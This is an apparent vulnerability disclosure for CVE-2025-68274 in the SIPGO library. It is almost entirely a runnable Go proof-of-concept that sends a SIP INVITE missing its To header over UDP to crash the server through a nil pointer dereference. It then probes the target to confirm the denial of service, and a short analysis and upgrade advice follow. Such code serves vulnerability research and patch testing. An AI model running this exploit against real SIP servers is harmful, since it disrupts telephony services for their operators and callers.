CVE-2025-68274: SIPGO库NewResponseFromRequest函数空指针解引用拒绝服务漏洞

package main import ( "net" "strings" "time" ) // PoC for CVE-2025-68274: SIPGO nil pointer dereference // Send a malformed SIP INVITE request without To header func main() { // Target SIP server address target := "127.0.0.1:5060" // Malformed SIP INVITE request without To header // This triggers nil pointer dereference in NewResponseFromRequest malformedINVITE := "INVITE sip:[email protected] SIP/2.0\r\n" + "Via: SIP/2.0/UDP 192.168.1.100:5060;branch=z9hG4bK776sgk2\r\n" + "Max-Forwards: 70\r\n" + // Missing To header - this is the key trigger "From: <sip:[email protected]>;tag=12345\r\n" + "Call-ID: [email protected]\r\n" + "CSeq: 1 INVITE\r\n" + "Contact: <sip:[email protected]:5060>\r\n" + "Content-Type: application/sdp\r\n" + "Content-Length: 0\r\n" + "\r\n" // Connect and send malformed request conn, err := net.DialTimeout("udp", target, 5*time.Second) if err != nil { panic(err) } defer conn.Close() // Send the malicious SIP message _, err = conn.Write([]byte(malformedINVITE)) if err != nil { panic(err) } // Keep connection alive to observe crash time.Sleep(2 * time.Second) // Try to verify server is down _, err = conn.Write([]byte(strings.Replace(malformedINVITE, "INVITE", "OPTIONS", 1))) if err != nil { println("Target appears to be crashed (DoS successful)") } } /* Vulnerability Analysis: 1. The malformed SIP INVITE lacks the To header field 2. SIPGO's NewResponseFromRequest assumes To header exists 3. Without nil check, accessing To header causes crash 4. This affects all SIP operations using the vulnerable function Mitigation: Upgrade to SIPGO version 1.0.0-alpha-1 or later */